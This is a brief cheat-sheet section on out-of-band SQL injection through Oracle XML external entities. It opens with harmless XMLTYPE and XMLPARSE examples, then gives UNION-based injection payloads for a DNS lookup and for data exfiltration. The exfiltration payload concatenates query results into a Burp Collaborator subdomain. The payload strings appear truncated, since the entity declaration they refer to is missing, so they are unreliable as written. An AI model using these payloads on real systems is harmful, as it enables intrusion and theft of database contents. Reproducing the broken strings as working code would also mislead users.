# Out-Of-Band ## Synthaxe XML integration
Oracle
SELECT XMLTYPE('<?xml version="1.0"?><document><employee>John</employee></document>') 
FROM dual;
PostgreSQL
SELECT XMLPARSE(DOCUMENT '<?xml version="1.0"?><document><employee>John</employee></document>');
## Simple DNS lookup ```sql ' UNION SELECT EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f>+%25remote%3b]>'),'/l') FROM dual-- ``` ## Data exfiltration ```sql ' UNION SELECT EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f>)||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l') FROM dual-- ```